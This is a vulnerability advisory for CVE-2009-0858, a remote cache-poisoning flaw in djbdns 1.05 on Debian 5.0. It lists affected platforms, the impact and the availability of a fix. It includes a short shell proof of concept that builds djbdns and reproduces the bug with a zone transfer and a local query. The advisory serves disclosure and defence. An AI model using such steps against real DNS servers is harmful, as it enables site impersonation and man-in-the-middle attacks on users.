djbdns Long Response Packet Remote Cache Poisoning Vulnerability

BID:33937

Info

djbdns Long Response Packet Remote Cache Poisoning Vulnerability

Bugtraq ID: 33937
Class: Design Error
CVE: CVE-2009-0858
Remote: Yes
Local: No
Published: Feb 27 2009 12:00AM
Updated: Jul 15 2009 10:36PM
Credit: Matthew Dempsky
Vulnerable: djbdns djbdns 1.05
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Not Vulnerable:

Discussion

djbdns Long Response Packet Remote Cache Poisoning Vulnerability

The 'djbdns' package is prone to a remote cache-poisoning vulnerability.

An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks.

This issue affects djbdns 1.05; other versions may also be vulnerable.

Exploit / POC

djbdns Long Response Packet Remote Cache Poisoning Vulnerability

The following proof of concept is available:

# Download and build ucspi-tcp-0.88.
$ curl -O http://cr.yp.to/ucspi-tcp/ucspi-tcp-0.88.tar.gz
$ tar -zxf ucspi-tcp-0.88.tar.gz
$ echo 'gcc -include /usr/include/errno.h -O' > ucspi-tcp-0.88/conf-cc
$ make -C ucspi-tcp-0.88

# Download and build djbdns-1.05.
$ curl -O http://cr.yp.to/djbdns/djbdns-1.05.tar.gz
$ tar -zxf djbdns-1.05.tar.gz
$ echo 'gcc -include /usr/include/errno.h -O' > djbdns-1.05/conf-cc
$ make -C djbdns-1.05

# Use tcpclient and axfr-get to do a zone transfer for
# www.example.com from www.example2.com.
$ ./ucspi-tcp-0.88/tcpclient www.example.com 53 ./djbdns-1.05/axfr-get www.example.com data data.tmp

# Use tinydns-data to compile data into data.cdb.
$ ./djbdns-1.05/tinydns-data

# Simulate an A query for www.example.com using the data
# from the zone transfer.
$ ./djbdns-1.05/tinydns-get a www.example.com

Solution / Fix

djbdns Long Response Packet Remote Cache Poisoning Vulnerability

Solution:
Updates are available. Please see the references for more information.


Debian Linux 5.0 alpha

Debian Linux 5.0 amd64

Debian Linux 5.0 ia-32

Debian Linux 5.0 hppa

Debian Linux 5.0 mips

Debian Linux 5.0 ia-64

Debian Linux 5.0 s/390

Debian Linux 5.0 m68k

Debian Linux 5.0 arm

Debian Linux 5.0 mipsel

Debian Linux 5.0 powerpc

Debian Linux 5.0 armel

Debian Linux 5.0

Debian Linux 5.0 sparc

References

djbdns Long Response Packet Remote Cache Poisoning Vulnerability

References:

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